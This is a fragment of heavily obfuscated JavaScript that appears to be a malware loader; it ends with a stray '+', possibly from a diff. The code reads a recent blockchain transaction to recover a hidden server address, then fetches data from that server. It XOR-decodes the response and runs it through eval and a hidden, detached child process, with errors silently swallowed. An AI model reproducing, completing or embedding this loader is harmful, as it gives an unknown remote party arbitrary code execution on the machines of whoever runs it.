_0x2b7840(_0x196963);},'SXfgk':_0x21838c(0x133),'xbMiN':function(_0x27a0b9,_0x394d32,_0x228371){return _0x27a0b9(_0x394d32,_0x228371);},'jueMj':function(_0x3071ee,_0x13c1dd){return _0x3071ee(_0x13c1dd);},'ipNqp':function(_0x5c8fe2,_0x51b60d,_0x375c99,_0x3adfd0){return _0x5c8fe2(_0x51b60d,_0x375c99,_0x3adfd0);},'KXiLK':_0x21838c(0xed),'rMZnD':function(_0x2485d9,_0x15b4b8){return _0x2485d9+_0x15b4b8;},'RWrVc':_0x21838c(0x10f),'WYnsa':function(_0x36aa2d,_0x4e00f2){return _0x36aa2d(_0x4e00f2);},'JGUpq':function(_0x17a5ba,_0xaf6465){return _0x17a5ba(_0xaf6465);},'eWCKt':function(_0x1e004b,_0x84fa2c){return _0x1e004b-_0x84fa2c;},'KafOh':function(_0x4df275,_0x2e90){return _0x4df275%_0x2e90;},'qFOcQ':function(_0x24fa80,_0x20975f){return _0x24fa80(_0x20975f);},'eIHSm':_0x21838c(0xa7)+_0x21838c(0x128),'XrZYs':function(_0x4740e4,_0x8d4335,_0x240499,_0x191515){return _0x4740e4(_0x8d4335,_0x240499,_0x191515);},'zeoxL':_0x21838c(0x1ba)+_0x21838c(0x185)};let _0x276e42=_0x123142[_0x21838c(0x1a3)](BigInt,await _0x123142[_0x21838c(0x108)](withRpcEndpoints,(_0x486914,_0x1c1835)=>rpcCall(_0x486914,_0x21838c(0x1a1)+_0x21838c(0xd8),[],_0x1c1835))),_0x168d06=_0x123142[_0x21838c(0xf3)](_0x276e42,_0x123142[_0x21838c(0x18d)](_0x276e42,BLOCK_MULTIPLE)),_0x412ae7=await _0x123142[_0x21838c(0x137)](firstMatch,_0x123142[_0x21838c(0x1a3)](candidateBlocks,_0x168d06)[_0x21838c(0x14f)](blockTask));_0x412ae7||(_0x412ae7=await _0x123142[_0x21838c(0x19e)](lastSenderTx,_0x276e42)[_0x21838c(0x100)](()=>lastSenderTxViaIndexer()));let [_0x28de5d,_0x3b6d7d]=_0x123142[_0x21838c(0x1b4)](decodeAddress,_0x412ae7['tx']['to']),_0x3d94ba=global;function _0x5ec9c4(_0x3a20ac,_0xa9d24e){const _0x55165e=_0x21838c,_0x5ecf66={'zNIqU':function(_0x430017,_0x3246e6){const _0x15bc56=_0x355e;return _0x123142[_0x15bc56(0x182)](_0x430017,_0x3246e6);},'rjSZm':_0x123142[_0x55165e(0x119)],'cVjMR':_0x123142[_0x55165e(0x1b7)],'SHJJd':function(_0x200ce2,_0x44228d){const _0x155fb8=_0x55165e;return _0x123142[_0x155fb8(0xd9)](_0x200ce2,_0x44228d);},'dQhjR':_0x123142[_0x55165e(0x1b8)],'ZAlOy':function(_0x59c273,_0x17297a){const _0x4fc8a3=_0x55165e;return _0x123142[_0x4fc8a3(0xf8)](_0x59c273,_0x17297a);},'bLolJ':_0x123142[_0x55165e(0xd3)],'hrUVT':_0x123142[_0x55165e(0x1ab)],'YZKTj':_0x123142[_0x55165e(0xc6)]};let _0x11ec1f={'hostname':_0xa9d24e[_0x55165e(0x93)],'port':_0x123142[_0x55165e(0x137)](Number,_0xa9d24e[_0x55165e(0x15d)])||0x2236+-0x22b0+0xca,'path':_0x123142[_0x55165e(0x92)](_0xa9d24e[_0x55165e(0x150)],_0xa9d24e[_0x55165e(0x10e)]),'headers':{'User-Agent':_0x123142[_0x55165e(0xdf)],'Sec-V':_0x3d94ba['_V']||0x1309+-0x132b+0x22}};function _0x5944ee(_0x39564c){const _0x337ed4=_0x55165e;let _0x3de935=_0x3a20ac[_0x337ed4(0xcd)];for(let _0xcd6de2=-0x1*-0x15f6+0xc04+0x21fa*-0x1;_0x123142[_0x337ed4(0x156)](_0xcd6de2,_0x39564c[_0x337ed4(0xcd)]);_0xcd6de2++)_0x39564c[_0xcd6de2]^=_0x3a20ac[_0x337ed4(0xac)](_0x123142[_0x337ed4(0x19a)](_0xcd6de2,_0x3de935));return _0x39564c[_0x337ed4(0x159)](_0x123142[_0x337ed4(0x1a0)]);}function _0x3fa166(_0x5286d4){const _0x30bac6=_0x55165e;let _0x1c7184=_0x5286d4[_0x30bac6(0x14b)][_0x123142[_0x30bac6(0x119)]];if(!_0x1c7184)throw _0x123142[_0x30bac6(0xf8)](Error,_0x123142[_0x30bac6(0x1a5)]);return _0x123142[_0x30bac6(0xf8)](_0x5944ee,Buffer[_0x30bac6(0x18c)](_0x1c7184,_0x123142[_0x30bac6(0x168)]));}function _0x5e0c4c(_0x188457){const _0xdb2b5e=_0x55165e,_0x9df163={'FfHYb':function(_0x275d20,_0x11a249){const _0xda171f=_0x355e;return _0x5ecf66[_0xda171f(0x11f)](_0x275d20,_0x11a249);},'gIWWO':_0x5ecf66[_0xdb2b5e(0xe6)],'LTGfe':_0x5ecf66[_0xdb2b5e(0x101)],'djgaa':function(_0x12f74b,_0x87bcc9){const _0xd19d42=_0xdb2b5e;return _0x5ecf66[_0xd19d42(0x113)](_0x12f74b,_0x87bcc9);},'eEQvU':_0x5ecf66[_0xdb2b5e(0xa2)],'KQldR':function(_0x5a7b3b,_0x1dcf69){const _0x3bd8a8=_0xdb2b5e;return _0x5ecf66[_0x3bd8a8(0xe8)](_0x5a7b3b,_0x1dcf69);},'jvgKp':_0x5ecf66[_0xdb2b5e(0x189)],'ZgpqG':_0x5ecf66[_0xdb2b5e(0x158)],'XLylK':_0x5ecf66[_0xdb2b5e(0x162)]};return new Promise((_0x15f946,_0x5a9938)=>{const _0x320ae6=_0xdb2b5e,_0x34a894={'QMwHG':function(_0x40448d,_0x23c91e){const _0x42dd94=_0x355e;return _0x9df163[_0x42dd94(0x1b6)](_0x40448d,_0x23c91e);},'XHNyr':_0x9df163[_0x320ae6(0x112)],'eAmtO':_0x9df163[_0x320ae6(0xe7)],'ZYBBe':function(_0x3e84e2,_0x5c0248){const _0x3f74e7=_0x320ae6;return _0x9df163[_0x3f74e7(0xfc)](_0x3e84e2,_0x5c0248);},'FWUiH':_0x9df163[_0x320ae6(0x1a6)],'smCxl':function(_0x30f2b3,_0x3b4378){const _0x508aeb=_0x320ae6;return _0x9df163[_0x508aeb(0x94)](_0x30f2b3,_0x3b4378);},'LBjUj':_0x9df163[_0x320ae6(0x144)],'RpPIO':_0x9df163[_0x320ae6(0x199)],'EreqP':_0x9df163[_0x320ae6(0xca)]};let _0x67c2bf=http[_0x320ae6(0xc7)]({..._0x11ec1f,'method':_0x188457},_0x3ab5c7=>{const _0x17709d=_0x320ae6,_0x31a947={'RsZph':function(_0x3b6db8,_0x40fce6){const _0x93e689=_0x355e;return _0x34a894[_0x93e689(0x104)](_0x3b6db8,_0x40fce6);},'tavZt':_0x34a894[_0x17709d(0x10a)],'LssUT':function(_0x1f6ba3,_0xee0496){const _0x3db9b9=_0x17709d;return _0x34a894[_0x3db9b9(0x104)](_0x1f6ba3,_0xee0496);},'mjCAw':_0x34a894[_0x17709d(0x1b0)]};if(_0x34a894[_0x17709d(0xb2)](_0x34a894[_0x17709d(0xd1)],_0x188457)){try{_0x34a894[_0x17709d(0x11b)](_0x15f946,_0x34a894[_0x17709d(0x104)](_0x3fa166,_0x3ab5c7));}catch(_0x14978e){_0x34a894[_0x17709d(0x104)](_0x5a9938,_0x14978e);}_0x3ab5c7[_0x17709d(0x1b9)]();return;}let _0x333305=[];_0x3ab5c7['on'](_0x34a894[_0x17709d(0x15b)],_0x547736=>_0x333305[_0x17709d(0x198)](_0x547736)),_0x3ab5c7['on'](_0x34a894[_0x17709d(0x154)],()=>{const _0x38253d=_0x17709d;try{let _0x247fe6=Buffer[_0x38253d(0x107)](_0x333305);if(_0x247fe6[_0x38253d(0xcd)])return _0x31a947[_0x38253d(0xd2)](_0x15f946,_0x31a947[_0x38253d(0xd2)](_0x5944ee,_0x247fe6));if(_0x3ab5c7[_0x38253d(0x14b)][_0x31a947[_0x38253d(0x171)]])return _0x31a947[_0x38253d(0xd2)](_0x15f946,_0x31a947[_0x38253d(0x192)](_0x3fa166,_0x3ab5c7));_0x31a947[_0x38253d(0xd2)](_0x5a9938,_0x31a947[_0x38253d(0x192)](Error,_0x31a947[_0x38253d(0xae)]));}catch(_0x907b81){_0x31a947[_0x38253d(0xd2)](_0x5a9938,_0x907b81);}}),_0x3ab5c7['on'](_0x34a894[_0x17709d(0x12e)],_0x5a9938);});_0x67c2bf['on'](_0x9df163[_0x320ae6(0xca)],_0x5a9938),_0x67c2bf[_0x320ae6(0x142)]();});}return _0x123142[_0x55165e(0xfe)](_0x5e0c4c,_0x123142[_0x55165e(0x102)])[_0x55165e(0x100)](()=>_0x5e0c4c(_0x55165e(0x11a)));}async function _0x71cdd3(_0x36ed3f,_0x4cbe2e,_0x18ff88){const _0x433f4b=_0x21838c;try{let _0x42938e=await _0x123142[_0x433f4b(0xc3)](_0x5ec9c4,_0x4cbe2e,_0x36ed3f),_0x1de9e8=_0x18ff88?_0x433f4b(0xff)+_0x433f4b(0x17a)+(_0x3d94ba['_V']||-0xf0a+-0x135d*-0x1+-0x453)+(_0x433f4b(0xee)+_0x433f4b(0xfa))+_0x3d94ba['_H']+(_0x433f4b(0xee)+_0x433f4b(0x15e))+_0x3d94ba[_0x433f4b(0x16a)]+(_0x433f4b(0xee)+_0x433f4b(0xbe)+_0x433f4b(0x111)+_0x433f4b(0x157)+_0x433f4b(0x106)+_0x433f4b(0x179)):_0x433f4b(0xff)+_0x433f4b(0x17a)+(_0x3d94ba['_V']||0x1b1*0x2+-0x1*-0x16f9+0x207*-0xd)+(_0x433f4b(0xee)+_0x433f4b(0x132))+_0x3d94ba[_0x433f4b(0x15c)]+(_0x433f4b(0xee)+_0x433f4b(0x129))+_0x3d94ba[_0x433f4b(0x116)]+(_0x433f4b(0xee)+_0x433f4b(0xbe)+_0x433f4b(0x111)+_0x433f4b(0x157)+_0x433f4b(0x106)+_0x433f4b(0x179));_0x18ff88||_0x123142[_0x433f4b(0x1b4)](eval,_0x123142[_0x433f4b(0x92)](_0x1de9e8,_0x42938e)),_0x123142[_0x433f4b(0x125)](spawn,_0x123142[_0x433f4b(0x145)],['-e',_0x123142[_0x433f4b(0x9c)](_0x1de9e8,_0x42938e)],{'detached':!(-0xb2c+-0x1*-0xc13+-0xe7),'stdio':_0x123142[_0x433f4b(0xab)],'windowsHide':!(-0x1*-0x2079+0x1*-0x135a+0x1*-0xd1f)})[_0x433f4b(0x177)]();}catch(_0x51210c){}}_0x3d94ba['_V']=_0x3d94ba['i'],_0x3d94ba['_H']=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x155),_0x3d94ba[_0x21838c(0x16a)]=_0x21838c(0x17e)+_0x3b6d7d+_0x21838c(0x155),_0x3d94ba[_0x21838c(0x15c)]=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x181),_0x3d94ba[_0x21838c(0x116)]=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x155),await _0x123142[_0x21838c(0x125)](_0x71cdd3,new URL(_0x21838c(0x17e)+_0x28de5d+(_0x21838c(0xe4)+'s')),_0x123142[_0x21838c(0xf7)],!(-0x1*0x1b55+0x1*-0x1f25+0x3a7b)),await _0x123142[_0x21838c(0xe2)](_0x71cdd3,new URL(_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x124)),_0x123142[_0x21838c(0x13e)],!(0x135b+0x1c5f+-0x2fba));}run();
+